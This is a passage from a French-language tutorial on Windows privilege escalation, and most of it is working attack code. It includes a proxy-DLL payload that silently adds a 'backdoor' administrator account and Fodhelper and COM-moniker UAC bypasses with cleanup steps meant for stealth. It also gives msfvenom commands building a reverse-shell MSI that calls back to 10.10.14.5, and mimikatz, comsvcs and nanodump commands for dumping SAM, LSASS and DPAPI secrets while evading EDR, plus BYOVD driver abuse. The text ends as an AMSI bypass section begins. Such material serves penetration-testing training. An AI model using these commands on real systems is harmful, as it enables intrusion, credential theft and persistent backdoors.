Modification de la configuration du service via permissions faibles
Si l'utilisateur dispose de droits de modification sur la configuration d'un service — droits SERVICE_CHANGE_CONFIG, WRITE_DAC, WRITE_OWNER ou SERVICE_ALL_ACCESS — il peut modifier le binpath du service pour pointer vers un exécutable malveillant, changer le compte d'exécution, ou modifier les paramètres de démarrage. Cette vérification s'effectue via la commande sc sdshow qui affiche le Security Descriptor du service en SDDL (Security Descriptor Definition Language).
REM Vérifier le Security Descriptor d'un service (format SDDL)
sc sdshow VulnService
REM Avec accesschk - plus lisible
accesschk.exe /accepteula -ucqv "Authenticated Users" VulnService
accesschk.exe /accepteula -ucqv %USERNAME% VulnService
REM Si SERVICE_CHANGE_CONFIG est accordé, modifier le binpath
sc config VulnService binpath= "C:\temp\reverse.exe"
sc config VulnService obj= "LocalSystem" password= ""
REM Arrêter et redémarrer le service (nécessite SERVICE_START/STOP)
sc stop VulnService
timeout /t 2
sc start VulnService
REM Si on n'a pas le droit de restart, attendre le reboot ou forcer :
shutdown /r /t 0 /f
REM Alternative avec PowerUp (automatisé)
Import-Module .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hacker' -Password 'P@ss2026!'
La sécurisation des services Windows est détaillée dans notre guide de durcissement Windows Server, incluant les stratégies de moindre privilège pour les comptes de service et l'utilisation de gMSA.
Manipulation de privilèges
DLL Hijacking, DLL Side-Loading et Phantom DLL
Le DLL hijacking exploite l'ordre de recherche des DLL par le loader Windows. Lorsqu'un exécutable appelle LoadLibrary ou LoadLibraryEx sans spécifier un chemin absolu, Windows recherche la DLL selon un ordre prédéfini configurable : le répertoire de l'application (celui contenant l'exécutable), le répertoire System32, le répertoire System16 (obsolète), le répertoire Windows, le répertoire courant, puis les répertoires listés dans la variable d'environnement PATH. Si la fonctionnalité SafeDllSearchMode est désactivée (rare mais possible), le répertoire courant est recherché avant System32, élargissant la surface d'attaque.
Trois variantes du DLL hijacking existent pour l'escalade de privilèges. Le DLL replacement consiste à remplacer une DLL légitime si les permissions le permettent. Le DLL search order hijacking place une DLL malveillante dans un répertoire recherché avant celui de la DLL légitime. Le phantom DLL hijacking exploite les DLL que l'application tente de charger mais qui n'existent pas sur le système — aucun fichier n'est écrasé, ce qui rend la technique plus discrète et moins susceptible de casser la fonctionnalité de l'application.
Identification des DLL manquantes avec Process Monitor
Process Monitor (ProcMon) de Sysinternals est l'outil de référence pour identifier les DLL manquantes. En filtrant les événements avec le résultat "NAME NOT FOUND" et l'opération "CreateFile" sur des paths terminant par ".dll", on identifie les DLL que les processus privilégiés tentent de charger sans succès. Ces "phantom DLLs" sont les cibles idéales car leur exploitation ne casse pas l'application (la DLL n'existait pas avant) et ne nécessite pas de remplacer un fichier légitime.
# Recherche automatisée de DLL hijacking potentiel
# Étape 1 : Identifier les répertoires du PATH inscriptibles
$env:PATH -split ';' | Where-Object { $_ -and (Test-Path $_) } | ForEach-Object {
$dir = $_
$acl = Get-Acl $dir -ErrorAction SilentlyContinue
if ($acl) {
foreach ($access in $acl.Access) {
if ($access.FileSystemRights -match "Write|Modify|FullControl|CreateFiles" -and
$access.IdentityReference -match "Users|Everyone|Authenticated") {
[PSCustomObject]@{
Directory = $dir
Identity = $access.IdentityReference
Rights = $access.FileSystemRights
InPATH = $true
}
}
}
}
}
# Étape 2 : Identifier les DLL chargées par les services SYSTEM depuis des paths non-standard
Get-Process -IncludeUserName | Where-Object { $_.UserName -match "SYSTEM" } | ForEach-Object {
try {
$_.Modules | Where-Object {
$_.FileName -and $_.FileName -notmatch "^C:\\Windows\\System32|^C:\\Windows\\WinSxS"
} | Select-Object @{N='Process';E={$_.ToString()}},
@{N='PID';E={$_.Id}},
@{N='Module';E={$_.ModuleName}},
@{N='Path';E={$_.FileName}}
} catch {}
} | Sort-Object Path -Unique | Format-Table -AutoSize
# Étape 3 : Script pour surveiller les tentatives de chargement DLL (alternative à ProcMon)
# Utiliser Sysmon Event ID 7 avec configuration ciblée
# ou ETW tracing sur Microsoft-Windows-Kernel-Process
Création d'une DLL proxy pour exploitation discrète
Pour éviter de casser la fonctionnalité de l'application victime lors de l'exploitation d'un DLL hijack sur une DLL existante, on crée une DLL proxy. Cette DLL redirige tous les appels de fonctions légitimes vers la DLL originale (renommée) tout en exécutant du code malveillant lors de son chargement initial (DLL_PROCESS_ATTACH). Les outils comme SharpDLLProxy ou DLLirant automatisent la génération du code de forwarding.
Exploitation avancée
// DLL Proxy - exécute un payload au chargement puis forward les appels
// vers la DLL originale (renommée en _original.dll)
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
public class DllProxy
{
[DllImport("kernel32.dll")]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFO
{
public int cb; public string lpReserved; public string lpDesktop;
public string lpTitle; public uint dwX, dwY, dwXSize, dwYSize;
public uint dwXCountChars, dwYCountChars, dwFillAttribute, dwFlags;
public short wShowWindow, cbReserved2;
public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError;
}
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION
{
public IntPtr hProcess, hThread;
public uint dwProcessId, dwThreadId;
}
// Mutex pour exécuter le payload une seule fois
private static Mutex _mutex;
// Point d'entrée DLL - appelé par le loader Windows
[DllExport("DllMain", CallingConvention.StdCall)]
public static bool DllMain(IntPtr hModule, uint reason, IntPtr reserved)
{
if (reason == 1) // DLL_PROCESS_ATTACH
{
bool createdNew;
_mutex = new Mutex(true, "Global\\DllProxyPayload", out createdNew);
if (createdNew) // Premier chargement uniquement
{
// Exécuter le payload dans un thread séparé pour ne pas bloquer
new Thread(() =>
{
Thread.Sleep(1000); // Attendre que l'app soit stable
try
{
STARTUPINFO si = new STARTUPINFO { cb = Marshal.SizeOf(typeof(STARTUPINFO)) };
PROCESS_INFORMATION pi;
CreateProcess(null,
"cmd.exe /c net user backdoor P@ss2026! /add && " +
"net localgroup administrators backdoor /add",
IntPtr.Zero, IntPtr.Zero, false,
0x08000000, // CREATE_NO_WINDOW
IntPtr.Zero, null, ref si, out pi);
}
catch { }
}).Start();
}
}
return true;
}
// Exports forwarded vers la DLL originale (exemple pour version.dll)
// Généré automatiquement par SharpDLLProxy ou manuellement
// #pragma comment(linker, "/export:GetFileVersionInfoA=version_orig.GetFileVersionInfoA")
// #pragma comment(linker, "/export:GetFileVersionInfoW=version_orig.GetFileVersionInfoW")
// etc.
}
Contournement de l'UAC (User Account Control)
L'UAC (User Account Control) représente la frontière entre les tokens Medium et High integrity pour les utilisateurs membres du groupe Administrators. Lorsqu'un administrateur local se connecte, Windows crée deux tokens : un token filtré (Medium integrity) qui supprime les privilèges administratifs et un token complet (High integrity) avec tous les privilèges. Par défaut, tous les processus lancés par l'utilisateur utilisent le token filtré. Le token complet n'est activé qu'après validation explicite via la popup de consentement UAC. Le contournement de l'UAC permet donc de passer de Medium à High integrity sans déclencher cette popup, ce qui constitue une forme d'escalade locale significative même si l'utilisateur est déjà "administrateur" au sens du groupe.
Les techniques de bypass UAC exploitent des programmes Windows marqués comme "auto-elevating" — des exécutables signés par Microsoft configurés pour s'exécuter automatiquement en High integrity sans popup UAC. Ces programmes sont conçus pour des opérations système légitimes mais peuvent être détournés pour exécuter du code arbitraire en contexte élevé. Les vecteurs d'exploitation incluent la manipulation de clés de registre lues par ces programmes, l'injection d'environnement, le détournement de COM objects et l'exploitation de DLL search order dans leur contexte élevé.
Techniques de bypass UAC et leur disponibilité
| Technique | Binaire exploité | Méthode d'exploitation | Windows 10 22H2 | Windows 11 24H2 |
|---|---|---|---|---|
| Fodhelper | fodhelper.exe | Registry HKCU ms-settings shell | Fonctionne | Corrigé |
| ComputerDefaults | computerdefaults.exe | Registry HKCU ms-settings | Fonctionne | Corrigé |
| DiskCleanup | cleanmgr.exe | Environment variable %SYSTEMROOT% | Fonctionne | Fonctionne |
| SilentCleanup | Scheduled task | Environment variable %windir% | Fonctionne | Fonctionne |
| CMSTP | cmstp.exe | INF file avec COM object auto-elevate | Fonctionne | Fonctionne |
| WSReset | wsreset.exe | Registry manipulation AppX | Fonctionne | Partiellement corrigé |
| ICMLuaUtil | COM elevation moniker | Interface COM auto-élevante | Fonctionne | Fonctionne |
| EventViewer | eventvwr.exe | Registry mscfile handler | Corrigé | Corrigé |
| sdclt | sdclt.exe | Registry App Paths + DLL hijack | Fonctionne | Partiellement corrigé |
Bypass UAC via Fodhelper (technique classique de référence)
# Fodhelper UAC Bypass
# fodhelper.exe est auto-elevated et lit HKCU:\Software\Classes\ms-settings\Shell\Open\command
# avant d'exécuter l'action. En créant cette clé, on contrôle ce qui est exécuté en elevated.
# Fonctionne sur Windows 10 (toutes builds sauf les plus récentes) - corrigé sur Windows 11
# Étape 1 : Créer la structure de clé de registre
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
# Étape 2 : Définir la commande à exécuter en elevated
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
-Name "(Default)" -Value "powershell.exe -ep bypass -w hidden -c `"Start-Process cmd -Verb RunAs`"" -Force
# Étape 3 : Définir DelegateExecute (vide) pour activer le mécanisme
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
-Name "DelegateExecute" -Value "" -PropertyType String -Force | Out-Null
# Étape 4 : Lancer fodhelper - exécute notre commande en High integrity
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
# Étape 5 : Nettoyage (important pour la discrétion)
Start-Sleep -Seconds 5
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue
Bypass UAC via COM Elevation Moniker (ICMLuaUtil)
// Bypass UAC via ICMLuaUtil COM Interface - fonctionne sur Windows 10/11
// L'interface CMSTPLUA expose une méthode ShellExec qui s'exécute en elevated
// sans déclencher la popup UAC car l'objet COM est marqué auto-elevate
using System;
using System.Runtime.InteropServices;
// Définition de l'interface COM ICMLuaUtil
[ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface ICMLuaUtil
{
[PreserveSig] int SetRasCredentials();
[PreserveSig] int LaunchInfSection(string a, string b, string c, int d, int e);
[PreserveSig] int LaunchInfSectionEx(string a, string b, string c, int d, int e, int f);
[PreserveSig] int LaunchSetupCommand(string exe, string args, string dir,
string title, IntPtr hWnd, int a, int b);
[PreserveSig] int ShellExec(string file, string parameters, string directory,
uint fMask, uint nShow);
}
public class UACBypassCOM
{
[DllImport("ole32.dll", CharSet = CharSet.Unicode)]
static extern int CoGetObject(string pszName, IntPtr pBindOptions,
ref Guid riid, [MarshalAs(UnmanagedType.IUnknown)] out object ppv);
static readonly Guid CLSID_CMSTPLUA = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
static readonly Guid IID_ICMLuaUtil = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");
public static void Execute(string command, string arguments = "")
{
// Utiliser l'Elevation Moniker pour instancier le COM object en elevated
string moniker = $"Elevation:Administrator!new:{{{CLSID_CMSTPLUA}}}";
Guid iid = IID_ICMLuaUtil;
object comObj;
int hr = CoGetObject(moniker, IntPtr.Zero, ref iid, out comObj);
if (hr != 0)
{
Console.WriteLine($"[-] CoGetObject échoué avec HRESULT: 0x{hr:X8}");
return;
}
ICMLuaUtil util = (ICMLuaUtil)comObj;
hr = util.ShellExec(command, arguments, null, 0, 1); // SW_SHOW = 1
if (hr == 0)
Console.WriteLine($"[+] Commande exécutée en elevated: {command} {arguments}");
else
Console.WriteLine($"[-] ShellExec échoué: 0x{hr:X8}");
Marshal.ReleaseComObject(comObj);
}
static void Main(string[] args)
{
if (args.Length == 0)
{
Execute("cmd.exe", "/c start powershell.exe -ep bypass");
}
else
{
Execute(args[0], args.Length > 1 ? args[1] : "");
}
}
}
Notre article sur les techniques d'évasion antivirus détaille les méthodes complémentaires pour contourner Windows Defender lors de l'exécution de ces bypasses UAC.
Exploitation avancée
Tâches Planifiées, Autorun Registry et AlwaysInstallElevated
Les tâches planifiées Windows (Task Scheduler) et les clés de registre autorun représentent des vecteurs d'escalade persistants souvent négligés. Une tâche planifiée qui s'exécute en tant que SYSTEM ou un autre compte privilégié, et dont le script ou binaire référencé est modifiable par un utilisateur standard, offre une escalade directe au prochain déclenchement. Les clés autorun permettent quant à elles de forcer l'exécution de code au démarrage du système, à la connexion d'un utilisateur, ou lors de certains événements spécifiques. Enfin, la politique AlwaysInstallElevated offre un chemin d'escalade trivial lorsqu'elle est activée.
Exploitation des tâches planifiées vulnérables
# Énumération complète des tâches planifiées avec analyse de vulnérabilité
$tasks = Get-ScheduledTask | Where-Object { $_.State -ne "Disabled" }
$vulnerable = @()
foreach ($task in $tasks) {
$principal = $task.Principal
# Cibler les tâches qui s'exécutent en SYSTEM ou avec privilèges élevés
if ($principal.UserId -match "SYSTEM|LocalSystem|S-1-5-18" -or
$principal.RunLevel -eq "Highest" -or
$principal.LogonType -eq "ServiceAccount") {
foreach ($action in $task.Actions) {
if ($action.CimClass.CimClassName -eq "MSFT_TaskExecAction") {
$execPath = $action.Execute -replace '"', ''
$workDir = $action.WorkingDirectory
$arguments = $action.Arguments
# Vérifier si le binaire principal est inscriptible
if ($execPath -and (Test-Path $execPath)) {
$acl = Get-Acl $execPath -ErrorAction SilentlyContinue
$writable = $acl.Access | Where-Object {
$_.FileSystemRights -match "Write|Modify|FullControl" -and
$_.IdentityReference -match "Users|Everyone|Authenticated|BUILTIN"
}
if ($writable) {
$vulnerable += [PSCustomObject]@{
TaskName = $task.TaskName
TaskPath = $task.TaskPath
RunAs = $principal.UserId
Execute = $execPath
Arguments = $arguments
WritableBy = ($writable.IdentityReference -join ", ")
Vector = "Binary inscriptible"
}
}
}
# Vérifier les scripts référencés dans les arguments
if ($arguments -match '([A-Za-z]:\\[^\s"]+\.(ps1|bat|cmd|vbs|js))') {
$scriptPath = $Matches[1]
if (Test-Path $scriptPath) {
$scriptAcl = Get-Acl $scriptPath -ErrorAction SilentlyContinue
$scriptWritable = $scriptAcl.Access | Where-Object {
$_.FileSystemRights -match "Write|Modify|FullControl" -and
$_.IdentityReference -match "Users|Everyone|Authenticated"
}
if ($scriptWritable) {
$vulnerable += [PSCustomObject]@{
TaskName = $task.TaskName
TaskPath = $task.TaskPath
RunAs = $principal.UserId
Execute = "Script: $scriptPath"
Arguments = $arguments
WritableBy = ($scriptWritable.IdentityReference -join ", ")
Vector = "Script argument inscriptible"
}
}
}
}
}
}
}
}
$vulnerable | Format-Table TaskName, RunAs, Execute, WritableBy, Vector -AutoSize
Registre Autorun et clés exploitables
# Clés autorun à auditer pour des binaires inscriptibles
$autorunKeys = @(
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices",
"HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
)
foreach ($key in $autorunKeys) {
if (Test-Path $key) {
Get-ItemProperty $key -ErrorAction SilentlyContinue |
Get-Member -MemberType NoteProperty |
Where-Object { $_.Name -notmatch "^PS" } |
ForEach-Object {
$value = (Get-ItemProperty $key).$($_.Name)
if ($value -match '([A-Za-z]:\\[^\s"]+\.exe)') {
$exePath = $Matches[1]
if (Test-Path $exePath) {
$acl = Get-Acl $exePath -ErrorAction SilentlyContinue
$writable = $acl.Access | Where-Object {
$_.FileSystemRights -match "Write|Modify" -and
$_.IdentityReference -match "Users|Everyone"
}
if ($writable) {
Write-Host "[VULN] $key\$($_.Name)" -ForegroundColor Red
Write-Host " Binary: $exePath (inscriptible)" -ForegroundColor Yellow
}
}
}
}
}
}
AlwaysInstallElevated : exploitation triviale via MSI
La politique AlwaysInstallElevated est une configuration de Group Policy qui permet à n'importe quel utilisateur d'installer des packages MSI avec des privilèges NT AUTHORITY\SYSTEM. Elle doit être activée simultanément dans HKLM et HKCU pour fonctionner. Bien qu'elle soit rarement activée intentionnellement en production, certains administrateurs la configurent pour simplifier les déploiements logiciels dans les environnements de développement ou de test, sans réaliser que ces environnements sont souvent accessibles depuis le réseau de production.
Exploitation avancée
# Vérifier si AlwaysInstallElevated est activé (les DEUX clés doivent être à 1)
$hklm = Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" `
-Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue
$hkcu = Get-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" `
-Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue
if ($hklm.AlwaysInstallElevated -eq 1 -and $hkcu.AlwaysInstallElevated -eq 1) {
Write-Host "[+] AlwaysInstallElevated est ACTIVÉ !" -ForegroundColor Green
Write-Host "[+] Escalade triviale via MSI malveillant" -ForegroundColor Green
} else {
Write-Host "[-] AlwaysInstallElevated n'est pas activé" -ForegroundColor Red
}
REM Vérification CMD
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul
REM Génération d'un MSI malveillant (sur machine attaquant)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o evil.msi
REM Installation silencieuse du MSI (s'exécute en SYSTEM)
msiexec /quiet /qn /i C:\temp\evil.msi
REM Alternative : MSI qui ajoute un utilisateur administrateur
msfvenom -p windows/adduser USER=hacker PASS=P@ssw0rd2026! -f msi -o adduser.msi
msiexec /quiet /qn /i adduser.msi
AlwaysInstallElevated en défense : Cette configuration ne devrait JAMAIS être activée en production, en développement, ni en test si les machines sont jointes au domaine ou accessibles depuis le réseau d'entreprise. L'audit régulier via GPO des paramètres "Computer Configuration\Administrative Templates\Windows Components\Windows Installer" et le monitoring des Event ID 1033/1034 (installation MSI) permettent de détecter cette misconfiguration et son exploitation. Si un besoin métier légitime existe pour l'installation de logiciels par les utilisateurs, Microsoft Intune, SCCM ou Azure Automation offrent des alternatives sécurisées qui maintiennent le contrôle administratif sans exposer le système à une escalade triviale en trois commandes.
Extraction de Credentials : SAM, LSASS et DPAPI
L'extraction de credentials constitue souvent une étape complémentaire à l'escalade de privilèges — ou parfois une étape préalable. Une fois les privilèges SYSTEM obtenus, l'accès aux bases de données d'authentification locales (SAM) et aux secrets en mémoire (LSASS) permet le mouvement latéral et la persistance dans l'environnement. Inversement, certaines credentials peuvent être extraites en tant qu'utilisateur standard (historiques PowerShell, fichiers de configuration, DPAPI de l'utilisateur courant) et révéler des mots de passe administrateurs permettant une escalade directe via runas ou WinRM local.
Extraction de la base SAM et des secrets LSA
La base SAM (Security Account Manager) stocke les hash NTLM des comptes locaux dans le registre sous HKLM\SAM. La clé de chiffrement de la SAM est stockée dans HKLM\SYSTEM. L'extraction nécessite les privilèges SYSTEM, SeBackupPrivilege ou un accès physique (boot sur un live CD). Les hash extraits peuvent être utilisés en pass-the-hash sans être craqués, ou craqués offline avec hashcat/john pour obtenir les mots de passe en clair.
REM Méthode 1 : reg save (nécessite admin/SYSTEM - la plus simple)
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SECURITY C:\temp\SECURITY
REM Méthode 2 : Volume Shadow Copy (si reg save est bloqué)
vssadmin create shadow /for=C:
REM Noter le "Shadow Copy Volume Name" dans la sortie
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\temp\SECURITY
REM Méthode 3 : diskshadow (script - utile sur les serveurs)
echo set context persistent nowriters > C:\temp\shadow.txt
echo add volume C: alias myVolume >> C:\temp\shadow.txt
echo create >> C:\temp\shadow.txt
echo expose %myVolume% Z: >> C:\temp\shadow.txt
diskshadow /s C:\temp\shadow.txt
REM Extraction offline avec Impacket (sur machine attaquant Linux)
python3 secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
REM Méthode 4 : mimikatz (si exécutable sur la machine)
mimikatz.exe "privilege::debug" "lsadump::sam" "lsadump::secrets" "exit"
Dump LSASS : techniques classiques et évasion EDR
Le processus LSASS (Local Security Authority Subsystem Service) maintient en mémoire les credentials des sessions actives : hash NTLM, tickets Kerberos, mots de passe en clair (si WDigest est activé), clés DPAPI et certificats. L'accès à la mémoire de LSASS est le Graal de la post-exploitation Windows, mais c'est aussi l'action la plus surveillée par les EDR modernes. Les techniques de dump doivent donc combiner efficacité et évasion.
# Méthode 1 : comsvcs.dll MiniDump (technique LOLBin - pas de fichier suspect sur disque)
# comsvcs.dll est une DLL Microsoft légitime présente sur tous les Windows
$lsassPid = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\temp\lsass.dmp full
# Méthode 2 : ProcDump (outil Sysinternals - signé Microsoft)
procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp
# Méthode 3 : nanodump (évasion EDR avancée)
# Utilise des syscalls directs, évite les hooks ntdll
# Crée un dump avec signature PE valide pour contourner les vérifications
.\nanodump.exe --write C:\temp\nano.dmp --valid-sig --fork
# Méthode 4 : dump indirect via handle duplication
# Certains processus ont déjà un handle ouvert vers LSASS
# On peut dupliquer ce handle sans ouvrir lsass directement
.\HandleKatz.exe --target lsass.exe --output C:\temp\lsass.bin
# Méthode 5 : Silent Process Exit (technique de persistence du dump)
# Configure Windows pour créer un dump quand lsass crashe ou s'arrête
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v ReportingMode /t REG_DWORD /d 2 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v LocalDumpFolder /t REG_SZ /d "C:\temp" /f
# Analyse du dump avec mimikatz (sur machine attaquant, offline)
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
# Ou avec pypykatz (Python, cross-platform)
pypykatz lsa minidump lsass.dmp
DPAPI : déchiffrement des secrets utilisateur
DPAPI (Data Protection API) est le mécanisme standard Windows pour protéger les données sensibles des applications : mots de passe sauvegardés dans Chrome/Edge/Firefox, credentials Wi-Fi, connexions RDP mémorisées, clés privées de certificats et secrets d'applications tierces. Chaque utilisateur dispose d'une master key dérivée de son mot de passe (ou du hash NTLM pour les comptes domaine). Avec les privilèges SYSTEM, on accède aux master keys de tous les utilisateurs via la clé de backup du Domain Controller ou via le DPAPI backup key local.
Manipulation de privilèges
REM Localiser les blobs DPAPI des utilisateurs
dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Credentials\*
dir /s /b C:\Users\*\AppData\Local\Microsoft\Credentials\*
REM Localiser les master keys
dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Protect\*
REM Extraction avec mimikatz (en SYSTEM)
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"
REM Déchiffrement des credentials Chrome
mimikatz.exe "dpapi::chrome /in:\"C:\Users\victim\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect" "exit"
REM SharpDPAPI - extraction automatisée en C# (plus discret que mimikatz)
SharpDPAPI.exe triage
SharpDPAPI.exe credentials /password:UserPassword123
SharpDPAPI.exe machinetriage
SharpDPAPI.exe backupkey /server:DC01.domain.local
REM Credentials Wi-Fi (en clair avec privilèges admin)
netsh wlan show profiles
netsh wlan show profile name="CorpWiFi" key=clear
Kernel Exploits et BYOVD (Bring Your Own Vulnerable Driver)
Les exploits noyau représentent le vecteur d'escalade le plus puissant mais aussi le plus risqué. Une vulnérabilité dans un driver kernel, dans les composants graphiques (win32k.sys) ou dans le noyau Windows lui-même permet une escalade directe vers SYSTEM depuis n'importe quel niveau de privilège, contournant toutes les protections userland incluant l'UAC, les niveaux d'intégrité et même certaines implémentations de Credential Guard. Le risque principal est le crash système (BSOD) en cas d'exploitation incorrecte ou d'incompatibilité de version, ce qui rend ces techniques inadaptées aux environnements de production critiques sauf en dernier recours.
Identification des vulnérabilités kernel exploitables
# Collecter les informations de patch pour Windows Exploit Suggester
systeminfo > C:\temp\systeminfo.txt
# Informations détaillées sur le build
Get-ComputerInfo | Select-Object OsVersion, OsBuildNumber, OsHardwareAbstractionLayer,
WindowsVersion, WindowsBuildLabEx
# Comparer avec les exploits connus (sur machine attaquant)
# python3 wes.py systeminfo.txt --exploits-only --impact "Elevation of Privilege"
# Lister les drivers tiers installés (surface d'attaque kernel étendue)
driverquery /v /fo csv | ConvertFrom-Csv |
Where-Object { $_."Module Name" -notmatch "^(nt|hal|ci|ks|ndis|tcp|http|srv|smb)" } |
Select-Object "Module Name", "Display Name", "Driver Type", "Link Date" |
Format-Table -AutoSize
# Vérifier les versions des drivers pour des vulnérabilités connues
Get-CimInstance Win32_PnPSignedDriver | Where-Object {
$_.DeviceName -and $_.DriverVersion -and
$_.InfName -notmatch "^(oem|prnms|net|usb)"
} | Select-Object DeviceName, DriverVersion, Manufacturer, DriverDate |
Sort-Object Manufacturer | Format-Table -AutoSize
# Identifier les drivers vulnérables connus (base LOLDrivers)
Get-CimInstance Win32_SystemDriver | ForEach-Object {
$driverPath = $_.PathName -replace '\\SystemRoot', "$env:SystemRoot" -replace '\\\?\?\\', ''
if ($driverPath -and (Test-Path $driverPath)) {
$hash = (Get-FileHash $driverPath -Algorithm SHA256 -ErrorAction SilentlyContinue).Hash
if ($hash) {
[PSCustomObject]@{
Name = $_.Name
Path = $driverPath
SHA256 = $hash
State = $_.State
StartMode = $_.StartMode
}
}
}
} | Export-Csv C:\temp\drivers_hashes.csv -NoTypeInformation
Exploits kernel notables (2021-2026)
| CVE | Nom / Composant | Versions affectées | Fiabilité | Détails |
|---|---|---|---|---|
| CVE-2021-1732 | Win32k EoP (xxxCreateWindowEx) | Win 10 1803-20H2 | Haute | Type confusion dans win32kfull.sys |
| CVE-2021-36934 | HiveNightmare / SeriousSAM | Win 10 1809+ | Très haute | ACL permissives sur SAM via VSS |
| CVE-2021-34527 | PrintNightmare (Print Spooler) | Toutes versions | Haute | RCE/LPE via chargement de driver |
| CVE-2022-21882 | Win32k EoP (win32kfull) | Win 10/11, Server 2022 | Moyenne | Use-after-free dans win32k |
| CVE-2023-28252 | CLFS EoP (clfs.sys) | Win 10/11, Server | Haute | Heap overflow dans Common Log FS |
| CVE-2024-21338 | AppLocker Driver EoP (appid.sys) | Win 10/11 | Haute | IOCTL non validé dans appid.sys |
| CVE-2024-30088 | Kernel EoP (ntoskrnl) | Win 11 23H2 | Moyenne | Race condition dans le kernel |
| CVE-2024-38106 | Windows Kernel EoP | Win 11 24H2 | Moyenne | Race condition exploitable |
BYOVD : exploitation de drivers signés vulnérables
La technique BYOVD (Bring Your Own Vulnerable Driver) consiste à charger un driver légitime — signé par un éditeur de confiance et donc accepté par Windows — mais contenant une vulnérabilité connue qui permet la lecture/écriture arbitraire de mémoire kernel. Une fois le driver chargé, l'attaquant exploite la vulnérabilité pour modifier les structures kernel (typiquement le token du processus courant) et s'attribuer les privilèges SYSTEM. Cette technique nécessite des droits administrateurs pour charger le driver mais permet de contourner les protections kernel comme Credential Guard ou PatchGuard dans certains cas.
Exploitation kernel
REM Exemple avec RTCore64.sys (MSI Afterburner - CVE-2019-16098)
REM Ce driver permet la lecture/écriture arbitraire de mémoire physique
REM Étape 1 : Charger le driver vulnérable (nécessite admin)
sc create RTCore64 type=kernel binPath="C:\temp\RTCore64.sys"
sc start RTCore64
REM Étape 2 : Utiliser un outil d'exploitation du driver
REM KDU (Kernel Driver Utility) par hfiref0x
KDU.exe -prv 1 -map C:\temp\unsigned_driver.sys
REM Étape 3 : Modifier le token du processus courant en kernel
REM (via l'outil d'exploitation spécifique au driver)
REM Résultat : processus cmd.exe avec token SYSTEM
REM Nettoyage
sc stop RTCore64
sc delete RTCore64
del C:\temp\RTCore64.sys
REM Liste de drivers BYOVD fréquemment utilisés :
REM - RTCore64.sys (MSI) - R/W mémoire physique
REM - dbutil_2_3.sys (Dell) - R/W mémoire arbitraire
REM - ene.sys (ENE Technology) - R/W ports I/O
REM - gdrv.sys (Gigabyte) - R/W mémoire physique
REM - aswArPot.sys (Avast ancien) - kill process arbitraire
Bypass AMSI et Évasion des Défenses pour Outils d'Escalade
L'Antimalware Scan Interface (AMSI) intercepte le contenu des scripts PowerShell, VBScript, JScript et des assemblies .NET chargées dynamiquement avant leur exécution. En 2026, AMSI est le premier obstacle rencontré lors de l'exécution d'outils d'escalade de privilèges en PowerShell ou .NET. Les outils comme PowerUp, WinPEAS (version PS1), Rubeus ou SharpUp sont tous détectés par les signatures AMSI de Windows Defender. Le contournement d'AMSI est donc un prérequis opérationnel incontournable pour utiliser ces outils en environnement protégé.
Techniques de bypass AMSI par ordre de sophistication
# Méthode 1 : Patch mémoire amsiInitFailed (la plus simple mais très détectée)
